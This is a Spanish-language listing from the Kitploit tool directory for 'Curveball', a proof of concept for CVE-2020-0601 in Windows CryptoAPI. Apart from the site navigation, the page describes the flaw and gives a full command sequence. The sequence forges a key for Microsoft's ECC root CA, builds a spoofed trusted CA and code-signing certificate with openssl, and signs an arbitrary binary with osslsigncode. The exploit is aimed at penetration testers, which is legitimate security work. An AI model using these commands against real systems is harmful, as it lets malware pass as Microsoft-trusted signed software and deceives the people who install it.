Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Curveball — PoC para CVE-2020-0601 - exploit de CryptoAPI | Kitploit
Herramientas/GitHubGitHub/ioncodes/curveball
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónCriptografíaPruebas de PenetraciónExplotación de Binarios
GitHubioncodes/curveball

Curveball

PoC para CVE-2020-0601 - exploit de CryptoAPI

Ver Repositorio
204hace 4 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Curveball

Un PoC para CVE-2020-0601. Una publicación de blog detallada se puede encontrar aquí. Este exploit permite crear un certificado de confianza falso abusando de cómo CryptoAPI maneja ciertos parámetros en certificados basados en ECC.

Configuración

Clona el repositorio y ábrelo en Visual Studio 2019. Cambia a Release y compílalo. Puedes encontrar binarios precompilados aquí.

Uso

root@kitploit:~
.\Curveball.exe MicrosoftECCProductRootCertificateAuthority.cer MicrosoftECCProductRootCertificateAuthority_fake.key
# in linux bash (you can also use Windows but you'd have to get an alternative for osslsigncode). WSL on Windows works fine.
openssl req -new -x509 -key MicrosoftECCProductRootCertificateAuthority_fake.key -out trusted_ca.crt
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
openssl req -new -key cert.key -out cert.csr -config openssl.conf -reqexts v3_cs
openssl x509 -req -in cert.csr -CA trusted_ca.crt -CAkey MicrosoftECCProductRootCertificateAuthority_fake.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl.conf -extensions v3_cs
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile trusted_ca.crt -name "Code Signing" -out cert.p12
./osslsigncode sign -pkcs12 cert.p12 -n "Signed by Layle" -in <BINARY_TO_SIGN> -out <SIGNED_BINARY>

Resultado

¡Ten en cuenta que el instalador de 7zip normalmente no está firmado!

confiable

Descargar herramienta